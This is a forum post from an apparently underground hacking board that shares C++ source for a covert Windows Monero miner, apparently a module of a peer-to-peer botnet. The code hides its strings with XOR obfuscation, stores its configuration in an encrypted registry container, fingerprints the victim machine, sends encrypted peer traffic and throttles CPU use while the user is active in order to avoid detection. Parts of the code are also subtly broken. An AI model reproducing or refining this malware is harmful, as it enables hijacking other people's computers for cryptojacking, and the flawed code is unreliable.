

Forum:[Hack Forums](#)

Thread: [XMR CryptoNight/RandomX Miner source code](#)

loadman - November 10, 2023, 7:53 am

I wanted to share with you one of my former modules from a large project. Because many people like to rip off code from others and then create it under their own name, I don't post the whole source code, but an extra top one. Maybe he will inspire someone with a coding soul))

```
Code #pragma comment(linker, "/MERGE:.rdata=.text")
#pragma comment(linker, "/MERGE:.data=.text")
```

```
#include <Windows.h>
#include <Shlwapi.h>
```

```
#include "../p2p/ntdll.h"
#include "../p2p/ntddk.h"
```

```
#include "../p2p/str.h"
#include "../p2p/efs.h"
#include "../p2p/conn.h"
#include "../p2p/node.h"
```

```
#include "../p2p/crypto.h"
#include "../p2p/registry.h"
#include "../p2p/p2p.h"
```

```
#include "../p2p/config.h"
#include "../p2p/common.h"
#include "../p2p/files.h"
```

```
#pragma comment(lib, "ntdll64.lib")
```

```
RTL_CRITICAL_SECTION g_critical_section;
char* hash_randomx(const char* input, unsigned char* seed_hash, const unsigned long long
height, int threads);
/*
```

```
Start date: 01.10.20
Finish by: 08.10.20
```

RandomX & CryptoNight_R CPU Miner

The miner will be written as an x64-based EXE (since x86 systems are useless for mining and they only account for 8% of all Windows market share).

- 1) when it starts, it will write its process ID and process name to the miner.cfg in the EFS to tell the core orchestrator (p2p.dll) that it has started so that when we poll the process list from there we can determine if its still running and if not then it can be started again

- 2) it will lookup the known pool-nodes which should be written to miner.cfg in the EFS and constantly poll it until there is a node which we can connect to
- 3) when we connect to a node, we should send a stratum-based login request to authenticate ourselves and grab the latest block template from the RPC daemon
- 4) now we should proceed to hash the received blob template based on the version of the block template, randomx when its ≥ 12 and cryptonight_r for < 12
- 5) once the hashing is complete we should check the 24-32 bytes of the returned hash to see if they're less than the target difficulty so that we can submit it to the pool-node to check if we mined the block based on the response

*/

```
mining_tasks* mining_operations = 0;
extern "C" {
    #include "cryptonight/hash-ops.h"
};
```

```
void get_process_info(char** process_name, unsigned long* process_id)
{
    // get the id of the current process
    *process_id = HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess);

    wchar_t* u_process_path = 0;
    // get the current file path
    void* current_module = get_current_module();
    get_current_path(current_module, &u_process_path);

    wchar_t* u_process_name = 0;
    // get the name of the current process
    get_base_file_name(u_process_path, &u_process_name);

    // convert the process name to an ANSI string
    unicode_to_ansi(u_process_name, &*process_name);

    free_memory(u_process_name);
    free_memory(u_process_path);
}
```

```
bool verify_config_mutex(local_efs efs, container_info* miner_container, unsigned char*
container_config, char* process_name, unsigned long process_id)
{
    unsigned long process_name_len = ansi_strlen(process_name);
    unsigned long process_id_len = integer_length(process_id);

    char *ansi20 = 0;
    xor_string(ansi, (unsigned char**)&ansi20, (unsigned char*)ansi_table[20], 5, 20);
    do
    {
        char* mutex_value = 0;
        // determine if a mutex value exists or not
```

```

get_http_header((char*) container_config, ansi20, &mutex_value, true);
if (mutex_value)
{
    bool status = true;
    int mutex_value_len = ansi_strlen(mutex_value);
    // it exists, so lets determine if there is a process name & process id
    unsigned long mutex_delimeter = get_delimeter<const char>(mutex_value, ":");
    // this is the most accurate way (as of now) to check if the process name & id is there
    if (mutex_value_len > 1 && mutex_delimeter != -1)
    {
        char* mutex_process_name, *_mutex_process_id = 0;
        extract_data(&mutex_process_name, mutex_value, mutex_delimeter);
        extract_data(&_mutex_process_id, mutex_value + (mutex_delimeter + 1),
mutex_value_len - (mutex_delimeter + 1));

        unsigned long mutex_process_id = str_to_ul(_mutex_process_id);
        if (mutex_process_id)
        {
            if (is_process_running(mutex_process_name, mutex_process_id))
                status = false;
        }

        free_memory(_mutex_process_id);
        free_memory(mutex_process_name);
    }

    free_memory(mutex_value);
    if (status) break;
    free_memory(ansi20);
    return false;
}
}
while (false); // not a loop

// it doesnt exist so we lets check if the mutex tag is there or we need to add a new one
unsigned long mutex_position = get_delimeter<const char>((char*) container_config, ansi20);
if (mutex_position != -1)
{
    // if we get to here lets remove the line which contains the mutex if its present
    unsigned long mutex_end_position = get_delimeter<const char>((char*) container_config +
mutex_position, "\r\n");
    if (mutex_end_position != -1)
    {
        trim_memory(container_config + mutex_position, miner_container->file_plain_size -
mutex_position, (mutex_end_position + 2) - mutex_position);
    }
}
free_memory(ansi20);

bool success = false;
unsigned long container_size = ansi_strlen((char*) container_config);
unsigned long new_container_size = container_size + 5 + 1 + 2 + 1 + process_name_len +
process_id_len;

```

```

char* ansi21 = 0, *ansi22 = 0;
container_config = (unsigned char*) realloc_memory(container_config, new_container_size,
&success);
if (container_config)
{
    xor_string(ansi, (unsigned char**)&ansi21, (unsigned char*)ansi_table[21], 16, 21);
    new_container_size = wnsprintfA((char*) container_config, new_container_size, ansi21,
container_config, process_name, process_id);
    free_memory(ansi21);
}

if (success)
{
    unsigned long update_timestamp = 0;
    get_epoch_timestamp(&update_timestamp);
    xor_string(ansi, (unsigned char**)&ansi22, (unsigned char*)ansi_table[22], 9, 22);
    EFS_merge(efs, ansi22, container_config, new_container_size, update_timestamp, false);
    free_memory(ansi22);
}

return true;
}

mining_tasks* parse_operation_response(mining_tasks* mining_operations, unsigned char*
pool_response)
{
    char* ansi23 = 0, *ansi24 = 0, *ansi25 = 0, *ansi26 = 0, *ansi27 = 0, *ansi28 = 0;
    xor_string(ansi, (unsigned char**)&ansi23, (unsigned char*)ansi_table[23], 7, 23);

    int pool_id = 0;
    json_extract_value(pool_response, ansi23, (void**)&pool_id);
    free_memory(ansi23);

    // it should be the case since we hardcoded this into the stratum response (operations.cpp#L677)
    if (pool_id == 31337)
    {
        unsigned long long block_height = 0;
        xor_string(ansi, (unsigned char**)&ansi24, (unsigned char*)ansi_table[24], 6, 24);

        json_extract_value(pool_response, ansi24, (void**)&block_height, true);
        free_memory(ansi24);

        if (block_height)
        {
            mining_tasks* task = add_task(&mining_operations, block_height);
            if (task)
            {
                do
                {
                    xor_string(ansi, (unsigned char**)&ansi25, (unsigned char*)ansi_table[25], 7, 25);

                    json_extract_value(pool_response, ansi25, (void**)&task->task_id);

```

```

free_memory(ansi25);

if (!task->task_id)
    break;

xor_string(ansi, (unsigned char**)&ansi26, (unsigned char*)ansi_table[26], 6, 26);

json_extract_value(pool_response, ansi26, (void**)&task->target_hex);
free_memory(ansi26);

int target_hex_length = ansi_strlen(task->target_hex);
if (target_hex_length <= 8)
{
    unsigned long dividend = 0;
    hex_to_bin(task->target_hex, (unsigned char*) &dividend, target_hex_length / 2);
    if (dividend == 0) break;

    task->target = 0xffffffffffffffffULL / (0xffffffffULL / (unsigned long long) dividend);
}
else
if (target_hex_length <= 16)
{
    task->target = 0;
    hex_to_bin(task->target_hex, (unsigned char*)&task->target, target_hex_length / 2);
    if (task->target == 0) break;
}
else break;

task->diff = task->target ? (0xffffffffffffffffULL / task->target) : 0;
if (!task->diff)
    break;

char* hashing_blob = 0;
xor_string(ansi, (unsigned char**)&ansi27, (unsigned char*)ansi_table[27], 4, 27);

json_extract_value(pool_response, ansi27, (void**)&hashing_blob);
free_memory(ansi27);

if (((task->hashing_blob_size = ansi_strlen(hashing_blob)) % 2) != 0)
    break;

task->hashing_blob_size /= 2;
if (task->hashing_blob_size < 76 || task->hashing_blob_size > 407 ||
!task->hashing_blob_size)
{
    free_memory(hashing_blob);
    break;
}

task->hashing_blob = (unsigned char*)alloc_memory(task->hashing_blob_size);
hex_to_bin(hashing_blob,
    task->hashing_blob,
    task->hashing_blob_size);

```

```

free_memory(hashing_blob);

task->algorithm = (task->hashing_blob[1] < 12 ? CRYPTONIGHT_R : RANDOM_X);
task->block_version = (task->hashing_blob[1] >= 7 ? task->hashing_blob[1] - 6 : 0);

if (task->algorithm == RANDOM_X)
{
    char* seed_hash = 0;
    xor_string(ansi, (unsigned char**)&ansi28, (unsigned char*)ansi_table[28], 9, 28);

    json_extract_value(pool_response, ansi28, (void**)&seed_hash);
    free_memory(ansi28);

    if (seed_hash && ansi_strlen(seed_hash) != 64)
    {
        free_memory(seed_hash);
        break;
    }

    task->seed_hash = (unsigned char*)alloc_memory(32);
    hex_to_bin(seed_hash, task->seed_hash, 32);
    free_memory(seed_hash);
}

return task;
}
while (0);
remove_task(&mining_operations, block_height);
}
}
}
return 0;
}

```

```

void get_user_id(char** unique_id, unsigned long* unique_id_length)
{
    // get computer name
    unsigned long computer_length = 0;
    char* computer_name = 0, *ansi29 = 0, *ansi30 = 0;
    xor_string(ansi, (unsigned char**)&ansi29, (unsigned char*)ansi_table[29], 12, 29);

    wchar_t* uni73 = 0, *uni74 = 0;
    xor_string(unicode, (unsigned char**)&uni73, (unsigned char*)unicode_table[73], 58, 73);
    *(uni73 + 58) = L'\0';
    xor_string(unicode, (unsigned char**)&uni74, (unsigned char*)unicode_table[74], 64, 74);
    *(uni74 + 64) = L'\0';

    get_key_value(local_machine, uni73, 58, ansi29, &computer_name, &computer_length);
    free_memory(uni73);

    if (!computer_name || !computer_length)
    {
        get_key_value(local_machine, uni74, 64, ansi29, &computer_name, &computer_length);
    }
}

```

```

    free_memory(uni74);
}
free_memory(ansi29);

wchar_t* ntroot = SharedUserData->NtSystemRoot, root_path[3];
// get system creation date
root_path[0] = ntroot[0];
root_path[1] = L'.';
root_path[2] = L'\\';
LARGE_INTEGER* vcd = get_file_vcd(root_path);

int concat_length = integer_length(vcd->QuadPart) + computer_length;
char* concat_str = (char*)alloc_memory(concat_length);

xor_string(ansi, (unsigned char**)&ansi30, (unsigned char*)ansi_table[30], 6, 30);
wsprintfA(concat_str, ansi30, concat_str, vcd->QuadPart);
free_memory(ansi30);

unsigned int user_id = crc32((unsigned char*) concat_str, concat_length, INFINITE);

*unique_id_length = integer_length(user_id);
*unique_id = (char*) alloc_memory(*unique_id_length + 1);

wsprintfA(*unique_id, "%u\\0", user_id);

free_memory(concat_str);
}

void encrypt_message_body(char* udp_port, unsigned char** message_body, unsigned long*
message_body_length)
{
    bool success = false;
    int udp_port_length = ansi_strlen(udp_port);
    // send the new peer list as a response to the peer which connected with us
    *message_body = (unsigned char*) realloc_memory(*message_body, *message_body_length +
1/*delimiter*/ + udp_port_length/*max key length*/, &success);
    if (*message_body)
    {
        // prepend the udp port of the current peer as the encryption key for the current frame
        unsigned char* prepended = (unsigned char*)alloc_memory(udp_port_length + 1);
        if (prepending)
        {
            copy_memory(prepending, udp_port, udp_port_length);
            copy_memory(prepending + udp_port_length, (void*)"|", 1);

            rc4_state peer_state;
            set_mem_static(peer_state, sizeof(peer_state));

            // set the rc4 key (udp port) and encrypt the context of the peer list with it
            rc4_init(&peer_state, (unsigned char*)udp_port, udp_port_length);
            rc4_crypt(&peer_state, *message_body, *message_body, *message_body_length);

            // then append the udp port to the newly encrypted list

```

```

        prepend_memory(*message_body, prepended);

        *message_body_length += (1 + udp_port_length);

        free_memory(prepended);
    }
}

bool send_pool_request(connection_info conn_info, int pool_socket, const char* method_type,
const char* params, unsigned char** response)
{
    bool status = false;
    if (&conn_info)
    {
        unsigned char* pool_request = (unsigned char*) alloc_memory(1024);
        if (pool_request)
        {
            char* ansi31 = 0;
            xor_string(ansi, (unsigned char**)&ansi31, (unsigned char*)ansi_table[31], 18, 31);

            unsigned long request_size = wsprintfA((char*) pool_request,
                ansi31, method_type, params);
            free_memory(ansi31);

            encrypt_message_body(conn_info.udp_port, &pool_request, &request_size);

            send_message(conn_info, pool_socket, pool_request, request_size, false);

            int bytes_to_recv = 1024;
            status = recv_message(pool_socket, response, 0, 0, &bytes_to_recv);

            free_memory(pool_request);
        }
    }
    return status;
}

char* __stdcall hash_cryptonight(char* bin, int variant, unsigned long long height)
{
    int bin_length = ansi_strlen(bin);
    if (bin_length <= 0)
        return 0;

    char hash[32];
    set_mem_static(hash, 32);

    cn_slow_hash(bin, bin_length, hash, variant, height);

    return hash;
}

struct miner_information

```

```

{
    int pool_sock;
    mining_tasks* task;
    connection_info conn_info;

    unsigned long* block_nonce;
    unsigned long added_delays;
    unsigned long mining_started;

    unsigned long long* total_hashes;
};

unsigned long __stdcall mining_thread(void* params)
{
    double cpu_times[64];
    set_mem_static(cpu_times, 64 * sizeof(double));

    miner_information* miner_info = (miner_information*) params;
    if (miner_info) return 0;

    SYSTEM_BASIC_INFORMATION system_info;
    set_mem_static(system_info, sizeof::SYSTEM_BASIC_INFORMATION);

    // get the number of cpu cores available in the current system
    NTSTATUS status = NtQuerySystemInformation(SystemBasicInformation, &system_info,
sizeof(system_info), 0);
    if (!NT_SUCCESS(status)) return 0;

    // lets bust this hash!
    do
    {
        unsigned long hashing_start_time = get_tick_count();

        copy_memory(miner_info->task->hashing_blob + 39, &*miner_info->block_nonce,
sizeof(unsigned long));

        char* hash = 0;
        // based on the response of the block minor version - use the preferred hashing method
        switch (miner_info->task->algorithm)
        {
            case RANDOM_X:
            {
                hash = hash_randomx((char*)miner_info->task->hashing_blob,
miner_info->task->seed_hash, miner_info->task->height,
system_info.NumberOfProcessors);
            }
            break;
            case CRYPTONIGHT_R:
            {
                hash = hash_cryptonight((char*)miner_info->task->hashing_blob,
miner_info->task->block_version, miner_info->task->height);
            }
            break;
        }
    }
}

```

```

}

++(*miner_info->total_hashes);
if (hash)
{
    bool exit_hashing_loop = false;
    // the value of the target is returned on the 24..32 bytes of the hash
    unsigned long long hash_target = str_to_ull(&hash[24]);
    if (hash_target > 0 && hash_target < miner_info->task->target)
    {
        unsigned long mining_ended = 0;
        // determine the time at which the miner finished cracking this hash
        get_epoch_timestamp(&mining_ended);

        // remove any added delays in this current hashing session
        if (miner_info->added_delays)
        {
            mining_ended -= (miner_info->added_delays * 15000);
            miner_info->added_delays = 0;
        }

        // todo: update avg hashrate in miner.cfg (to calculate network hashrate more accurately
        // than current)
        unsigned long session_hash_rate = *miner_info->total_hashes / (mining_ended -
        miner_info->mining_started);

        char hex_hash[64];
        set_mem_static(hex_hash, 64);
        bin_to_hex((unsigned char*) hash, 32, hex_hash);

        char params[1024], *ansi36 = 0, *ansi37 = 0;
        xor_string(ansi, (unsigned char**)&ansi36, (unsigned char*)ansi_table[36], 76, 36);

        set_mem_static(params, 1024);
        wsprintfA(params, ansi36,
            miner_info->task->task_id, miner_info->block_nonce, hex_hash, session_hash_rate);
        free_memory(ansi36);

        unsigned char* submission_response = 0;
        xor_string(ansi, (unsigned char**)&ansi37, (unsigned char*)ansi_table[37], 4, 37);
        if (send_pool_request(miner_info->conn_info, miner_info->pool_sock, ansi37, params,
        &submission_response))
            exit_hashing_loop = true;

        free_memory(ansi37);
    }
    else exit_hashing_loop = true;
    set_memory(hash, 0, 32);

    if (exit_hashing_loop)
    {
        *miner_info->block_nonce = 1;
        return 0;
    }
}

```

```

    }
}
(*miner_info->block_nonce)++;

int prev_cpu_throttle = 0, total_sleep_time = 0;
/* unfortunately below Windows 8 we cannot throttle the cpu of the
process automatically so we will need to do it ourselves */
if (SharedUserData->NtMajorVersion == 6 && SharedUserData->NtMinorVersion < 2)
{
    int max_cpu_usage = 40;
    double total_cpu_time = 0;

    KERNEL_USER_TIMES current_thread_time;
    set_mem_static(current_thread_time, sizeof::KERNEL_USER_TIMES);

    RtlEnterCriticalSection(&g_critical_section);

    // this part will heat up the cpu if its executed rapidly, so lets only execute it
    // the first few cycles and then every 2 seconds
    if (total_sleep_time > 2000 || total_sleep_time < 5)
    {
        NTSTATUS status = NtQueryInformationThread(NtCurrentTeb()->ClientId.UniqueThread,
            ThreadTimes, &current_thread_time, sizeof::KERNEL_USER_TIMES, 0);

        if (NT_SUCCESS(status))
        {
            unsigned long hashing_end_time = get_tick_count() - hashing_start_time;

            double cpu_usage = (double)((current_thread_time.KernelTime.QuadPart +
current_thread_time.UserTime.QuadPart) / (hashing_end_time) /
system_info.NumberOfProcessors);

            int number_of_entries = (sizeof(cpu_times[0]) / sizeof(cpu_times));
            if (number_of_entries < 64)
            {
                for (int n = number_of_entries; n >= 0; total_cpu_time += cpu_times[n], --n)
cpu_times[n + 1] = cpu_times[n];
                total_cpu_time += (cpu_times[0] = cpu_usage);
                total_cpu_time /= number_of_entries;
            }
            max_cpu_usage = is_user_idle(false) ? 100 : 40;
        }
        total_sleep_time = 0;
    }
    else total_sleep_time += prev_cpu_throttle;

    switch (max_cpu_usage)
    {
    case 40:
    {
        if (total_cpu_time > (40 + 1))
            prev_cpu_throttle++;
        else

```

```

        if (total_cpu_time < (40 - 1) && prev_cpu_throttle > 1)
            prev_cpu_throttle--;
        break;
    }
    default: if (total_cpu_time < (100 - 1) && prev_cpu_throttle > 1) prev_cpu_throttle--;
}

timeout(prev_cpu_throttle);

RtlLeaveCriticalSection(&g_critical_section);
}
}
while (true);

return 1 ; }

```

```

int __stdcall WinMain(HINSTANCE curr_base, HINSTANCE prev_base, char* args, int display)
{
    _p2p_data p2p_data;
    set_mem_static(p2p_data, sizeof::_p2p_data);

    RtlInitializeCriticalSection(&g_critical_section);

    // allocate the linked-list of mining operations
    mining_operations = (mining_tasks*) alloc_memory(sizeof::mining_tasks);

    // the argument to the miner will be the default encryption key (also the EFS key name)
    p2p_data.encryption_key = args;

    unsigned long long    total_hashes = 0;
    unsigned long previous_container_size = 0;
    // used to determine if the mutex has been verified so we can poll pool nodes
    bool poll_pool_nodes = false;
    do
    {
        wchar_t* uni50 = 0;
        xor_string(unicode, (unsigned char**)&uni50, (unsigned char*)unicode_table[50], 9, 50);
        *(uni50 + 9) = L'\0';
        // get the configuration data from the EFS registry hive
        get_key_value<unsigned char*>(current_user, uni50, 9, p2p_data.encryption_key,
        &*p2p_data._efs.container_memory, p2p_data._efs.container_length);
        free_memory(uni50);

        char* worker_uid = 0, *ansi22 = 0;
        xor_string(ansi, (unsigned char**)&ansi22, (unsigned char*)ansi_table[22], 9, 22);
        unsigned long miner_cfg_address = 0, process_id = 0, worker_uid_length = 0, mining_started
= 0, block_nonce;
        // look for the miner.cfg file in the EFS
        container_info* miner_cfg = EFS_search(p2p_data._efs, ansi22, &miner_cfg_address);
        free_memory(ansi22);

        if (miner_cfg && previous_container_size != miner_cfg->file_plain_size)

```

```

{
    unsigned char* miner_config = 0;
    // extract the miner config from memory
    extract_memory(&miner_config, *p2p_data._efs.container_memory + miner_cfg_address,
miner_cfg->file_plain_size);
    if (miner_config)
    {
        previous_container_size = miner_cfg->file_plain_size;
        // this should only be executed on the first loop
        if (!poll_pool_nodes)
        {
            char* process_name = 0;
            // get the process id and process name;
            get_process_info(&process_name, &process_id);
            if (process_name)
            {
                // returns true if the config is empty or if the existing mutex isnt running or false if its
already running
                bool status = verify_config_mutex(p2p_data._efs, miner_cfg, miner_config,
process_name, process_id);
                if (!status) return 0;
                else
                {
                    // get the unique worker id for the current user
                    get_user_id(&worker_uid, &worker_uid_length);
                    poll_pool_nodes = true;
                    block_nonce = 1;
                }
                free_memory(process_name);
            }
        }
    }

    unsigned long added_delays = 0;
    if (poll_pool_nodes)
    {
        char* pool_list = 0, *ansi32 = 0;
        xor_string(ansi, (unsigned char**)&ansi32, (unsigned char*)ansi_table[32], 5, 32);
        // lets determine if a list of available pool-nodes exists
        get_http_header((char*) miner_config, ansi32, &pool_list, true);
        free_memory(ansi32);

        if (pool_list)
        {
            char** pools = 0;
            unsigned long num_pools = php_explode(pool_list, "|", &pools);

            for (int n = 0; n < num_pools; ++n)
            {
                unsigned long separator = get_delimiter<const char>(pools[n], ":");
                if (separator != -1)
                {
                    connection_info conn_info;
                    set_mem_static(conn_info, sizeof::connection_info);

```

```

extract_data(&conn_info.udp_address, pools[n], separator);
extract_data(&conn_info.udp_port,
    pools[n] + (separator + 1), ansi_strlen(pools[n]) - (separator + 1));

int num_characters = count_characters(conn_info.udp_address, '.');
conn_info.type = (num_characters == 3 ? addr_ipv4 : addr_ipv6);

int pool_sock = get_socket(&conn_info);
if (pool_sock)
{
    // since we connected to a new pool, reset the total hashes
    total_hashes = 0;

    // update the time which we started the mining operation for the current pool
    get_epoch_timestamp(&mining_started);

    // so that in case we get disconnected we can refresh a new pool-node list
    n = num_pools;

    // and send CRC32 encoded unique worker id to the pool-node for login
    send_message(conn_info, pool_sock, (unsigned char*) worker_uid,
worker_uid_length, false);
    do
    {
        int retry_count = 0;

retry_knock:
        char* knock_response = 0, *ansi33 = 0, *ansi34 = 0, *ansi35 = 0;
        xor_string(ansi, (unsigned char**)&ansi33, (unsigned char*)ansi_table[33],
4, 33);

        // verify that the pool-node sends responses to request data
        bool status = send_pool_request(conn_info, pool_sock, ansi33, "",
(unsigned char**) &knock_response);
        free_memory(ansi33);

        if (knock_response)
        {
            xor_string(ansi, (unsigned char**)&ansi34, (unsigned
char*)ansi_table[34], 4, 34);
            bool server_response = a_str_compare(knock_response, ansi34) == 0;
            free_memory(ansi34);

            if (!server_response)
            {
                // if the pool-node fails to respond then lets make another 3 attempts
                free_memory(knock_response);
                timeout(15 * 1000);

                // increment the number of delays (to properly calculate hashrate)
                added_delays++;

                if (retry_count < 3)
                {

```

```

        ++retry_count;
        goto retry_knock;
    }
    // but if it doesnt respond after 45 seconds then assume its dead and
disconnect
    else break;
}
}

// no memory-leaks please))
if (status) free_memory(knock_response);

unsigned char* response_data = 0;
xor_string(ansi, (unsigned char**)&ansi35, (unsigned char*)ansi_table[35],
4, 35);

// the next connection to the pool should be started by sending a
command to obtain block template
status = send_pool_request(conn_info, pool_sock, ansi35, "",
&response_data);

free_memory(ansi35);

if (status)
{
    // extract the block template data from the login request
    mining_tasks* task = parse_operation_response(mining_operations,
response_data);

    if (task)
    {
        miner_information* miner_info = (miner_information*)
alloc_memory(sizeof::miner_information);
        if (miner_info)
        {
            miner_info->added_delays = added_delays;
            *miner_info->block_nonce = block_nonce;
            miner_info->conn_info = conn_info;
            miner_info->mining_started = mining_started;
            miner_info->pool_sock = pool_sock;
            *miner_info->total_hashes = total_hashes;
            miner_info->task = task;

            /*
            in order to throttle the cpu usage, we will create
            designated thread for the hashing process in order
            to properly verify threaded cpu consumption
            */
            void* mining_thread_handle = CreateThread(0, 0, mining_thread,
task, 0, 0);

            if (mining_thread_handle)
                wait_for_single_object(mining_thread_handle, INFINITE);

            free_memory(miner_info);
        }
    }
}

```

```

        free_memory(response_data);
    }
}
while (true);

    closesocket(pool_sock);
}
free_memory(conn_info.udp_address);
free_memory(conn_info.udp_port);
}
}
free_memory(pool_list);
}
}
free_memory(miner_config);
}
}
// since we got to here we should free the previous container memory and prepare for the new
one
free_memory(*p2p_data._efs.container_memory);

// wait 30 seconds to poll the EFS again
timeout(30 * 1000);
}
while (true);

return 1 ; }

```